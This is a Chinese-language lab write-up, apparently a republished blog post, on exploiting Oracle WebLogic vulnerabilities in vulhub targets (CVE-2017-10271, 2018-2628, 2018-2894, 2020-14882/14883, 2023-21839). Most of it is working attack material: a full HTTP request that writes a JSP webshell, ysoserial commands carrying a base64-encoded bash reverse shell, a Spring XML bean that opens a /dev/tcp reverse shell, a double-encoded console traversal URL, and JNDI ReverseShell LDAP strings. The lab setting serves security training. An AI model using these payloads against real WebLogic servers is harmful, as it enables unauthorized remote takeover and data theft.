vulhub weblogic全系列靶场

2024-04-18 06:28

本文主要是介绍vulhub weblogic全系列靶场,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。

需要使用的工具

ysoserial使用不同库制作的放序列化工具:

GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
weblogic集成的图形化攻击工具:

https://github.com/KimJun1010/WeblogicTool

JNDIMap 是一个 JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式

X1r0z/JNDIMap: JNDI 注入利用工具, 支持 RMI 和 LDAP 协议, 包含多种高版本 JDK 绕过方式 (github.com)

CVE-2017-10271

XXE漏洞

0x00 漏洞产生原因

CVE-2017-10271的漏洞产生原因简单来说就是weblogic的WLS Security组件对外提供的webserver服务调用了XMLDecode去解析了用户传入的XML数据,在解析过程中出现了反序列化漏洞,导致了攻击者可以通过精心构建的漏洞来达到任意命令执行

0x01 影响范围

10.3.6.0        12.1.3.0.0        12.2.1.1.0

0x02 漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

这里我将这些地址添加进dirsearch的字典了,原版只有wls-wsat/CoordinatorPortType路径,

###每一次遇到一些漏洞的地址都可以添加进去

默认使用字典地址/usr/lib/python3/dist-packages/dirsearch/db/dicc.txt

!!!!注意我这里时使用的apt安装的dirsearch

0x03 环境

docker-compose搭建的vulhub靶场CVE-2017-10271

0x04 漏洞复现

1. 手工

poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
<string><![CDATA[
<% out.print("webshell"); %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/>
</soapenv:Envelope>

访问存在漏洞的页面

使用hackbar随意传入一个post参数

将poc传入执行

只需要修改content-type为text/xml即可

访问可知成功写入,后续可通过此poc写入jsp马子

2. 漏洞利用工具

直接放入存在漏洞的url然后选择使用CVE_2017_10271漏洞,直接就可利用

CVE-2018-2628

反序列化漏洞

0x00 漏洞产生原因

该漏洞是因为T3协议而触发的反序列化漏洞,造成的任意命令执行漏洞,导致未授权用户远程命令执行

0x01 影响范围

10.3.6.0    12.1.3.0    12.2.1.2    12.2.1.3

0x02 环境

docker搭建的vulhub靶场

靶场地址:172.28.10.221:7001

0x03 漏洞复现

1.nmap扫是否是T3协议

一般T3协议是默认开启的,但也需要扫一下看是否存在,说不定开发人员给关了

nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 127.0.0.1

-T4   设置扫描速度(1-6)                               -sV    对端口的服务进行扫描

-O    服务器系统扫描                                        -p       指定扫描端口

--script   指定文件脚本

需要使用weblogic-t3-info模块指定去扫是否有T3协议####只针对没打补丁的情况下的检测

(这里我在本地搭建的所以使用的是127.0.0.1)

也可使用集成的工具直接扫

2.漏洞检测(利用dnslog外带)

这里使用的是bp自带的工具

3.漏洞复现

攻击流程

被攻击机——》攻击机(jrmp服务)——》回到被攻击机执行命令——》攻击机接收到shell

在攻击机上执行一下命令

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener+<监听端口>+<java1.7以上则填Jdk7u21>+<要执行的命令>

 java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections3 'calc'

 攻击机监听端口

尝试将反弹shell到攻击机

将bash命令加密一下

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

开启服务

./java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 9999 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjgwLzEyMzQ1IDA+JjE=}|{base64,-d}|{bash,-i}'

这里注意java需要使用jre版本的,并且需要下载ysoserial放在java的bin目录里(也可放在其他地方使用绝对路径调用)

使用工具通过漏洞让被攻击机访问攻击机开启的服务

收到访问流量

成功拿到shell

CVE-2018-2894

任意文件上传漏洞

0x00 漏洞产生原因

weblogic未授权的两个页面存在任意文件上传

Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制

0x01 影响范围

10.3.6.0        12.1.3.0        12.2.1.2        12.2.1.3

0x02 环境

weblogic服务器ip:172.28.10.221

还是使用docker搭建环境

0x03 复现信息

  1. 漏洞存在的页面:/ws_utc/begin.do、/ws_utc/config.do
  2. 登录账户密码使用命令查看docker-compose logs | grep password

0x04 漏洞复现

访问漏洞存在的页面

使用获取的账户密码登录(真实环境肯定是需要其他方法进入的,比如弱口令、未授权访问这些)

访问console目录自动跳转登录

启动web测试服务页

然后访问/ws_utc/config.do

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

这里把工作目录换为以上路径

bp抓包得到时间戳

因为他的命名方式为时间戳_名字.jsp

上传成功后访问此路径

/ws_utc/css/config/keystore/文件

能访问到就算成功

我这里使用的是冰蝎自带的马子

密码默认的

rebeyond

拿到webshell

CVE-2020-14882——CVE-2020-14883

管理控制台未授权远程命令执行漏洞

0x00 漏洞产生原因

CVE-2020-14882这个漏洞会造成未授权访问,而CVE-2020-14883允许后台用户通过http协议执行任意命令,这两个漏洞联合起来组成的利用链就可以达到任意命令执行的效果

0x01 影响范围

 10.3.6.0.0        12.1.3.0.0        12.2.1.3.0        12.2.1.4.0        14.1.1.0.0

0x02 环境

weblogic服务ip:172.28.10.21

 依旧是docker搭建

0x03 漏洞复现

正常访问登录页面会回显让登录

恶意构造的url,这里%252e%252e%252其实就是两次url加密后的../

/console/css/%252e%252e%252fconsole.portal

这是未授权访问的情况,因为是未授权访问所以这里缺少很多功能

方式1:

com.tangosol.coherence.mvel2.sh.ShellSession

使用此类的方法但是有局限性,只能在weblogic12.2.1以上版本能用,10.3.6版本并不存在此类

########因为这个靶场似乎不能使用还是怎么的,我做起来有问题,所以不做过多展示,直接使用法2

方法2:(这里注意,如果虚拟机不能过物理机防火墙那就把防火墙关了)

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

此方法和CVE-2017-10271很相似,也是用到了XML解析的方法反弹shell,但是是让服务器去访问在攻击机上构造的xml文件,然后达到反弹shell的目的

首先写一个xml文件,这里我放在桌面的

例如:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg><list><value>/bin/bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/1234 0>&1]]></value></list></constructor-arg></bean>
</beans>

然后python开启http服务

这里注意,在哪个文件夹下开启的,那么这个文件夹就是根目录

nc监听一下

payload:

http://172.28.10.221:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.1.194/1.xml")

CVE-2023-21839

0x00 漏洞产生原因

 和CVE2018-2628很相似,都是因为T3协议的缺陷造成的允许未经身份验证的攻击者通过T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露

0x01 影响范围

12.2.1.2.0        12.2.1.1.0        12.2.1.3.0        12.2.1.0.0        12.2.1.4.0        14.1.1.0.0        12.1.2.0.0        12.1.3.0.0        10.3.6.0       

0x02 漏洞测试

用nmap的weblogic-t3-info扫一下是否存在T3协议

 nmap -sV -O -T4 -p 7001 --script weblogic-t3-info 127.0.0.1

这里我是搭建在本地的所以使用127.0.0.1

这一题同样还是使用dnslog外带看是否存在漏洞

利用bp现成的工具

成功收到信息

0x03 漏洞复现

漏洞复现呢可以使用集成的工具更方便,也可使用poc

使用JNDI攻击

使用jndimap构造服务,利用jndi攻击拿shell

攻击机开启服务

java -jar 'C:\Program Files\Java\JNDIMap-main\target\JNDIMap.jar' -i 本机ip

监听端口

使用工具构造攻击

#####使用虚拟机搭建靶场的注意关闭攻击机防火墙

ldap://开启IDAP服务的服务器ip:1389/Basic/ReverseShell/攻击机ip/4444 ldap://127.0.0.1:1389/Basic/ReverseShell/MTI3LjAuMC4x/NDQ0NA==

拿到shell

######这里后续会补充ssrf和weak_password的漏洞复现

这篇关于vulhub weblogic全系列靶场的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/913996

相关文章

vulhub中Jenkins CLI 接口任意文件读取漏洞复现(CVE-2024-23897)

Jenkins是一个开源的自动化服务器。 Jenkins使用[args4j](https://github.com/kohsuke/args4j)来解析命令行输入,并支持通过HTTP、Websocket等协议远程传入命令行参数。args4j中用户可以通过`@`字符来加载任意文件,这导致攻击者可以通过该特性来读取服务器上的任意文件。 该漏洞影响Jenkins 2.441及以前的版本。 访问

以sqlilabs靶场为例,讲解SQL注入攻击原理【25-31关】

【Less-25】 首先分析源码 发现把 SQL语句中的 or、and 替换成了空格,这就导致无法使用之前的sql注入方式。 解决方案:用 && 代替 and , 用 || 代替 or , 而且&在url中有特殊含义,如果直接使用会有问题,所以还需要对&&进行urlencode编码处理。 ?id=1' and 1=1 -- aaa改为?id=1' && 1=1 -- aaa #

以sqlilabs靶场为例,讲解SQL注入攻击原理【15-17关】

【less-15:布尔盲注】 单引号闭合 1. '  or (length(database()))  -- += 数字:判断数据库长度; 2. '  or (ascii(substr(database(),1,1)))  -- += 数字:获取组成数据库的字符; 3. ' or (ascii(substr((select table_name from information_schem

vulhub中Nexus Repository Manager 3 未授权目录穿越漏洞(CVE-2024-4956)

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。 其3.68.0及之前版本中,存在一处目录穿越漏洞。攻击者可以利用该漏洞读取服务器上任意文件。 环境启动后,访问`http://your-ip:8081`即可看到Nexus的默认页面。 漏洞复现 与Orange Tsai在[Blackhat US 2018](ht

vulnhub靶场之FunBox-10

一.环境搭建 1.靶场描述 As always, it's a very easy box for beginners.This works better on VitualBox rather than VMware 2.靶场下载 Funbox: Under Construction! ~ VulnHub 3.靶场启动 靶场IP地址我们不知道,但是网段我们

以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】

【less-18】 打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。 提交的是信息有user-Agent、IP、uname信息。 此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。 最后得到数据库名:security。 解题步骤: //第一步获取数据库名' and updatexml(

【Spring框架全系列】IOC DI案例,setter方法和构造方法注入(详解) + 思维导图

文章目录 一.概念实操Maven父子工程 二. IOC和DI入门案例【重点】1 IOC入门案例【重点】问题导入1.1 门案例思路分析1.2 实现步骤2.1 DI入门案例思路分析2.2 实现步骤2.3 实现代码2.4 图解演示 三、Bean的基础配置问题导入问题导入1 Bean是如何创建的【理解】2 实例化Bean的三种方式2.1 构造方法方式【重点】2.2 静态工厂方式2.3 实例工厂方

polarctf靶场[reverse]shell、PE结构、拼接

[reverse]shell 考点:脱壳 将所解压的文件拖入DIE有无有壳,文件类型 发现有UPX壳,是32位的文件,先脱壳 用FFI工具脱壳  将脱壳后的程序用32位IDA进行反汇编 点开_main_0函数进行查看 看到flag,(F5)查看伪代码 得到本题的flag [reverse]PE结构 考点:PE结构 PE结构知识点看大佬:https://bl

文件上传漏洞:pikachu靶场中的文件上传漏洞通关

目录 1、文件上传漏洞介绍 2、pikachu-client check 3、pikachu-MIME type 4、pikachu-getimagesize 最近在学习文件上传漏洞,这里使用pikachu靶场来对文件上传漏洞进行一个复习+练习 废话不多说,开整 1、文件上传漏洞介绍 pikachu靶场是这样介绍文件上传漏洞的: 文件上传功能在web应用系统很常见,比

Web安全技术期末考查-vulhub靶场搭建及漏洞复现

一、实验目的与要求 能根据报告找到难度适中的漏洞,搭建弱点环境,并验证该漏洞;      2.能给出该漏洞的修复建议。 二、实验原理与内容 漏洞原理 漏洞原理通常指的是计算机系统、软件、网络或其他技术系统中存在的安全缺陷,这些缺陷可以被恶意用户或攻击者利用来获取未授权的访问权限、破坏系统、窃取数据或进行其他恶意行为。漏洞可以存在于软件的编码中,也可以是由于配置不当、设计缺陷或者硬件问